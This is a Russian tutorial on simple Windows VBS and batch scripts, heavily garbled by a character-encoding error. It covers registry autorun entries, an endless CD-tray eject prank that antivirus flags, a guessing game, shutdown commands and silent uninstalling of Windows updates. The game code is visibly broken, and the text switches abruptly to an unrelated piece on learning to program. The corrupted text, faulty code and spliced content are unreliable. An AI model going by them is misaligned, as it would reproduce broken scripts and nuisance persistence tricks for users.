ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°. Как это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ?

    ВсС просто, ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ (скрипт) Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² Π°Π²Ρ‚ΠΎΠ·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ ΠΌΠΎΠΆΠ½ΠΎ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ VBS скрипт. Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ Ρ„Π°ΠΉΠ» Π² Π±Π»ΠΎΠΊΠ½ΠΎΡ‚Π΅, ΠΊΠΎΠΏΠΈΡ€ΡƒΠ΅ΠΌ/вставляСм (Ctrl+C/Ctrl+V) ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄:

    Dim vOrg, objArgs, root, key, WshShell
    root = «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\»
    KeyHP = «Program»
    Set WshShell = WScript.CreateObject(«WScript.Shell»)
    WshShell.RegWrite root+keyHP,»C:\Privet.vbs /autorun»

    ИзмСняСм ΠΏΡƒΡ‚ΡŒ Π΄ΠΎ скрипта «Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΊΠΈ», Π²ΠΎΡ‚ эту строчку — C:\Privet.vbs Π½Π° свою. ΠŸΡ€ΠΎΠΏΠΈΡΡ‹Π²Π°Π΅ΠΌ Π³Π΄Π΅ Ρƒ вас Π»Π΅ΠΆΠΈΡ‚ этот скрипт ΠΈ ΠΊΠ°ΠΊ называСтся. Π”Π°Π»ΡŒΡˆΠ΅ сохраняСм Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ ΡΠΎΠ·Π΄Π°Π½Π½ΡƒΡŽ ΠΌΠΈΠ½ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ Π² Π±Π»ΠΎΠΊΠ½ΠΎΡ‚Π΅ ΠΈ запускаСм. ВсС, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ с Π²Π°ΠΌΠΈ Π·Π΄ΠΎΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ.

    ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ дисковод

    1. ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π±Π»ΠΎΠΊΠ½ΠΎΡ‚. Π‘ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ/Π’ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄:

      Set a = CreateObject(«WMPlayer.OCX.7»)
      Set b = a.CdromCollection
      Set c = b.Item(0)
      Set d = c.Eject

    2. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ.vbs
    3. Π—Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ скрипт ΠΈ откроСтся дисковод.

    Π•ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ интСрСсная модификация Π΄Π°Π½Π½ΠΎΠ³ΠΎ скрипта:

    Set WMPlayer = CreateObject(«WMPlayer.OCX.7»)
    do
    WMPlayer.CdRomCollection.Item(0).Eject()
    loop

    Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС Π±ΡƒΠ΄Π΅Ρ‚ всС врСмя ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒΡΡ-Π·Π°ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒΡΡ CD/DVD-ΠΏΡ€ΠΈΠ²ΠΎΠ΄, Π½Π° Π½ΠΎΡƒΡ‚Π±ΡƒΠΊΠ°Ρ… Π² этом случаС Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒΡΡ послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π΅Π³ΠΎ закрытия.

    Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅! Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΊΠΎΠ΄ (ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅-Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ дисковода), Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ антивирусы видят ΠΊΠ°ΠΊ Π²Ρ€Π΅Π΄ΠΎΠ½ΠΎΡΠ½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ. Антивирус ΠšΠ°ΡΠΏΠ΅Ρ€ΡΠΊΠΎΠ³ΠΎ (Π² Ρ‚.Ρ‡. ΠΈ ) Π΅Π³ΠΎ Π²ΠΈΠ΄ΠΈΡ‚ ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π°ΠΊ ΠΈ ΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠ°Π΅Ρ‚ сразу ΠΆΠ΅. Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΆΠ΅ случаС (просто ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ дисковода) для антивирусных ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ Π½Π΅ являСтся врСдоносным скриптом.

    Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ автоматичСски ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ-Π·Π°ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ дисковод Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ:

    1. Π—Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ диспСтчСр Π·Π°Π΄Π°Ρ‡ ( — Ctrl+Alt+Del).
    2. ΠŸΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° Π²ΠΊΠ»Π°Π΄ΠΊΡƒ «ΠŸΡ€ΠΎΡ†Π΅ΡΡΡ‹».
    3. Найти процСсс wscript.exe — правая ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΌΡ‹ΡˆΠΈ — Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ процСсс.

    Π˜Π³Ρ€Π°

    Π˜Π½Ρ‚Π΅Ρ€Π΅ΡΠ½Π°Ρ Π½Π°Ρ…ΠΎΠ΄ΠΊΠ° ΠΈΠ· Π‘Π΅Ρ‚ΠΈ — ΠΈΠ³Ρ€Π° Π½Π° VBS. НСобходимо ΡƒΠ³Π°Π΄Π°Ρ‚ΡŒ число ΠΎΡ‚ 0 Π΄ΠΎ 100. Π‘ΠΊΡ€ΠΈΠΏΡ‚ автоматичСски ΠΏΡ€ΠΈ запускС Π·Π°Π΄Π°Π΅Ρ‚ (Ρ€Π°Π·Π³Π°Π΄Ρ‹Π²Π°Π΅Ρ‚) число, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠ³Π°Π΄Π°Ρ‚ΡŒ ΠΈ ввСсти Π² ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΌ окошкС, ΠΏΡ€ΠΈ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ ΠΎΡ‚Π²Π΅Ρ‚Π΅ Π΄Π°ΡŽΡ‚ΡΡ подсказки, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ мСньшС ΠΈΠ»ΠΈ большС.

    НиТС Ρ‚ΠΎΡ‚ самый ΠΊΠΎΠ΄ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π² Π±Π»ΠΎΠΊΠ½ΠΎΡ‚, Π΄Π°Π»Π΅Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ (Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅.vbs).

    Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ сообщСния ΠΏΠΎ своСму, всС Ρ‡Ρ‚ΠΎ написано ΠΊΠΈΡ€ΠΈΠ»Π»ΠΈΡ†Π΅ΠΉ Π±Π΅Π· ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ рСдактируСтся. НС Π±ΠΎΠΉΡ‚Π΅ΡΡŒ ΡΠ»ΠΎΠΌΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄. ΠŸΠΎΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅. Π’ случаС Ρ‡Π΅Π³ΠΎ Π·Π°Π½ΠΎΠ²ΠΎ скопируйтС Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ ΠΊΠΎΠ΄ ΠΎΡ‚ΡΡŽΠ΄Π°.

    Set y = CreateObject(«Scripting.FileSystemObject»)
    Set y = Nothing
    Do
    a = 0
    u = 0
    Randomize
    Number = Int((RND*99)+1)
    MsgBox «Π― Π·Π°Π³Π°Π΄Π°Π» число ΠΎΡ‚ 1 Π΄ΠΎ 100, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉ ΠΎΡ‚Π³Π°Π΄Π°Ρ‚ΡŒ»,64,»Π£Π³Π°Π΄Π°ΠΉΠΊΠ°»
    Do
    a = a + 1
    c = InputBox(«Π£Π³Π°Π΄Π°ΠΉ число» & vbCrLf & vbCrLf & «ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ°: » & a & vbCrLf & vbCrLf & «Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ число!» & vbCrLf & vbCrLf & «Π”ля Π²Ρ‹Ρ…ΠΎΠ΄Π° ΠΎΡΡ‚Π°Π²ΡŒΡ‚Π΅ ΠΏΠΎΠ»Π΅ пустым» & vbCrLf & vbCrLf,»Π£Π³Π°Π΄Π°ΠΉΠΊΠ°»)
    If c = «!» Then CreateObject(«WScript. Shell»).Run «notepad C:\Windows\Result.dll»,3,True: Exit Do
    If c «» Then
    If IsNumeric(c) = True Then
    If CInt(c) If CInt(c) > Number Then MsgBox «ΠΠ΅Ρ‚,это Π½Π΅ » & c & «. Π― Π·Π°Π³Π°Π΄Π°Π» число мСньшС»,64,»Π£Π³Π°Π΄Π°ΠΉΠΊΠ°»
    If CInt(c) = Number Then
    Set y = CreateObject(«Scripting.FileSystemObject»)
    MsgBox («ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ ΠΏΠΎΠΏΡ‹Ρ‚ΠΎΠΊ: » & a)
    If MsgBox («ΠŸΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, это Π±Ρ‹Π»ΠΎ число » & c & «. ΠΠ°Ρ‡Π°Ρ‚ΡŒ Π·Π°Π½ΠΎΠ³ΠΎ?»,36,»Π£Π³Π°Π΄Π°ΠΉΠΊΠ°») = 6 Then Exit Do Else WScript.Quit
    End If
    Else
    MsgBox «Π­Ρ‚ΠΎ Π½Π΅ число!»,16,»Π£Π³Π°Π΄Π°ΠΉΠΊΠ°»
    a = a — 1
    End If
    Else
    a = a — 1
    l = MsgBox («Π’Ρ‹ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π²Π²Π΅Π». Π’Ρ‹ΠΉΡ‚ΠΈ ΠΈΠ· ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹?»,36,»Π£Π³Π°Π΄Π°ΠΉΠΊΠ°»)
    If l = 6 Then WScript.Quit
    End If
    Loop
    loop

    Ну ΠΈ ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ Π±Π°Ρ‚Π½ΠΈΠΊΠ°ΠΌ (.BAT) Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡΡ самым ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ VBS скриптом ΠΈΠ· всСх пСрСчислСнных Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅.

    Π‘ΠΊΡ€ΠΈΠΏΡ‚ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ wscript.exe

    Π‘Π°ΠΌ скрипт:

    Set TaskKill = CreateObject(«WScript.Shell»)
    TaskKill.Run «TaskKill /f /im wscript. exe»

    По сути ΠΎΠ½ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚ΠΎΠΆΠ΅ самоС, Ρ‡Ρ‚ΠΎ Ρ‡ΡƒΡ‚ΡŒ Π²Ρ‹ΡˆΠ΅ объяснялось Π² диспСтчСрС Π·Π°Π΄Π°Ρ‡, ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ нСльзя просто Π²Π·ΡΡ‚ΡŒ ΠΈ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ Π½Π°Π΄ΠΎΠ΅Π΄Π»ΠΈΠ²Ρ‹ΠΉ скрипт ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ-Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ дисковод, Π° запустив Π΄Π°Π½Π½Ρ‹ΠΉ скрипт всС Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΊΡ€Ρ‹Ρ‚Ρ‹. Π­Ρ‚ΠΎ ΠΊΠ°ΠΊ ΠΊΠ»ΠΈΠ½ ΠΊΠ»ΠΈΠ½ΠΎΠΌ Π²Ρ‹ΡˆΠΈΠ±Π°ΡŽΡ‚.

    НСмного познакомились с VBS скриптами ΠΈ ΠΎ Ρ‚ΠΎΠΌ ΠΊΠ°ΠΊ ΠΈΡ… ΠΏΠΈΡΠ°Ρ‚ΡŒ Π² Π±Π»ΠΎΠΊΠ½ΠΎΡ‚Π΅, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ рассмотрим нСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² использования BAT Ρ„Π°ΠΉΠ»ΠΎΠ² (Π΄Π°Π»Π΅Π΅ — Π±Π°Ρ‚Π½ΠΈΠΊ).

    БовсСм простой Π±Π°Ρ‚Π½ΠΈΠΊ состоящий всСго ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ строки.

    1. ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚.
    2. ПишСм ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄:

      shutdown -s -t 1 -c -f

    3. Π”Π°Π»Π΅Π΅ Π€Π°ΠΉΠ» — Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ — Π½Π·Π²Π°Π½ΠΈΠ΅.bat
    4. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»Π°, это ΡƒΠΆΠ΅ Π½Π΅ VBS скрипт, Π° Π±Π°Ρ‚Π½ΠΈΠΊ, ΠΏΠΎ этому Π² ΠΊΠΎΠ½Ρ†Π΅ названия прописываСм.bat (ΠŸΡ€ΠΈΠΌΠ΅Ρ€ compoff.bat).
    5. ЗапускаСм Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ созданный Π±Π°Ρ‚Π½ΠΈΠΊ Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌ Ρ‰Π΅Π»Ρ‡ΠΊΠΎΠΌ ΠΌΡ‹ΡˆΠΈ ΠΈ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ Π²Ρ‹ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡΡ (Π—Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Ρ‹).

    Π•ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΎΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΊΠΎΠ΄Π°:

    shutdown -r -t 1 -c -f

    ВсС Ρ‚Π°ΠΊΠΆΠ΅, прописываСм Π² Π±Π»ΠΎΠΊΠ½ΠΎΡ‚Π΅, сохраняСм с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ. bat ΠΈ послС запуска ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ пСрСзагрузится (обычная ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°).

    Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΉ

    Π”Π°Π½Π½Ρ‹ΠΉ Π±Π°Ρ‚Π½ΠΈΠΊ пригодится Π² Ρ‚ΠΎΠΌ случаС, Ссли Π²Ρ‹ ΡƒΠΆΠ΅ . Π’ Ρ‡Π΅ΠΌ ΡΡƒΡ‚ΡŒ? Π’ этом Π±Π°Ρ‚Π½ΠΈΠΊΠ΅ пСрСчислСны ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ ΠΏΠΎ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΡŽ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΉ, ΠΊΠ°ΠΊ Π²ΠΈΠ΄Π½ΠΎ ΠΈΠ· названия — обновлСния Ρ‚Π΅Π»Π΅ΠΌΠ΅Ρ‚Ρ€ΠΈΠΈ, ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ Ρ€Π°Π· ΠΎΠ΄Π½Π° ΠΈΠ· ΡˆΠΏΠΈΠΎΠ½ΡΠΊΠΈΡ… ΡˆΡ‚ΡƒΡ‡Π΅ΠΊ систСмы, ΠΌΡ‹ ΠΎΠ΄Π½Π°ΠΆΠ΄Ρ‹ ΡƒΠΆΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ , Π² Π΄Π°Π½Π½ΠΎΠΌ ΠΆΠ΅ случаС Π²Ρ‹ просто создаСтС Π±Π°Ρ‚Π½ΠΈΠΊ, Π² содСрТимоС ΠΊΠΎΠΏΠΈΡ€ΡƒΠ΅Ρ‚Π΅ ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅ ΠΈ запускаСтС, послС Ρ‡Π΅Π³ΠΎ Π±ΡƒΠ΄ΡƒΡ‚ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ пСрСчислСнныС обновлСния.

    @echo
    echo
    echo Step 1: Delete Updates Telemetry
    wusa /uninstall /kb:3068708 /quiet /norestart
    wusa /uninstall /kb:3022345 /quiet /norestart
    wusa /uninstall /kb:3075249 /quiet /norestart
    wusa /uninstall /kb:3080149 /quiet /norestart

    Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ любоС ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅, Π΄Π°ΠΆΠ΅ Π½Π°Π·ΠΎΠΉΠ»ΠΈΠ²ΠΎΠ΅ KB971033 ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ провСряСт .

    Π’ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ встрСчаСтся ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… скриптов, якобы Π±Π΅Π·Π²Ρ€Π΅Π΄Π½Ρ‹Ρ…, Π½ΠΎ Π±ΡƒΠ΄ΡŒΡ‚Π΅ остороТны, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ нСпонятно ΠΊΠ°ΠΊΠΎΠΉ скрипт, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΈΡ… ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°Π²Ρ€Π΅Π΄ΠΈΡ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ — Π²Π½ΠΎΡΠΈΡ‚ΡŒ измСнСния Π² рССстр, Π° Π² случаС ΠΊΠ°ΠΊΠΈΡ… ошибок систСма Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π΄Π°Π²Π°Ρ‚ΡŒ ошибки, Π² Ρ‚Π°ΠΊΠΎΠΌ случаС придСтся ΠΈΠ»ΠΈ Windows ΠΈΠ»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ восстановлСниС систСмы.

    По ΠΌΠ΅Ρ€Π΅ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ тСхнология становится всС Π±ΠΎΠ»Π΅Π΅ ΠΈ Π±ΠΎΠ»Π΅Π΅ доступной ΡˆΠΈΡ€ΠΎΠΊΠΎΠΉ ΠΏΡƒΠ±Π»ΠΈΠΊΠ΅, растСт ΠΈ ΠΏΠΎΡ‚Ρ€Π΅Π±Π½ΠΎΡΡ‚ΡŒ Π² программистах. НаписаниС ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Ρ‹Ρ… ΠΊΠΎΠ΄ΠΎΠ² ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ, ΠΎΠ½ΠΎ ΠΆΠ΅ ΠΊΠΎΠ΄ΠΈΠ½Π³ (ΠΎΡ‚ Π°Π½Π³Π». «Coding»), — это Π½Π°Π²Ρ‹ΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ приобрСтаСтся ΠΈ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΡƒΠ΅Ρ‚ΡΡ Π½Π° протяТСнии Π΄ΠΎΠ»Π³ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π½ΠΎ Π΄Π°ΠΆΠ΅ самый ΠΎΠΏΡ‹Ρ‚Π½Ρ‹ΠΉ программист ΠΊΠΎΠ³Π΄Π°-Ρ‚ΠΎ Π±Ρ‹Π» Π½ΠΎΠ²ΠΈΡ‡ΠΊΠΎΠΌ. БущСствуСт большоС Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·ΠΈΠ΅ языков программирования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π΅Π»ΠΈΠΊΠΎΠ»Π΅ΠΏΠ½ΠΎ подходят для Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ… программистов, Π²Π½Π΅ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Π² ΠΊΠ°ΠΊΠΎΠΉ сфСрС Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ваши Π½Π°Π²Ρ‹ΠΊΠΈ. Π£Π·Π½Π°ΠΉΡ‚Π΅, ΠΊΠ°ΠΊ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π² эту ΡΡ‚Π°Ρ‚ΡŒΡŽ.

    Π¨Π°Π³ΠΈ

    Π’Ρ‹ΡƒΡ‡ΠΈΡ‚Π΅ язык программирования

      НС слишком Π²ΠΎΠ»Π½ΡƒΠΉΡ‚Π΅ΡΡŒ ΠΏΠΎ ΠΏΠΎΠ²ΠΎΠ΄Ρƒ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠΉ язык Π²Π°ΠΌ стоит Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ для изучСния. МногиС Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠ΅ программисты Π·Π°Ρ‚Ρ€ΡƒΠ΄Π½ΡΡŽΡ‚ΡΡ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ язык, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ написаниС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Ρ… ΠΊΠΎΠ΄ΠΎΠ². НСпосрСдствСнно сам язык, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚Π΅, Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния, ΠΊΠΎΠ³Π΄Π° Ρ€Π΅Ρ‡ΡŒ Π·Π°Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΎΠ± ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠΈ структур ΠΈ Π»ΠΎΠ³ΠΈΠΊΠΈ построСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. Π­Ρ‚ΠΈ Π½Π°Π²Ρ‹ΠΊΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ Π²Π°ΠΆΠ½Ρ‹ΠΌΠΈ, ΠΈ ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ΡƒΡ‡ΠΈΡ‚ΡŒ с Π»ΡŽΠ±Ρ‹ΠΌ языком программирования.

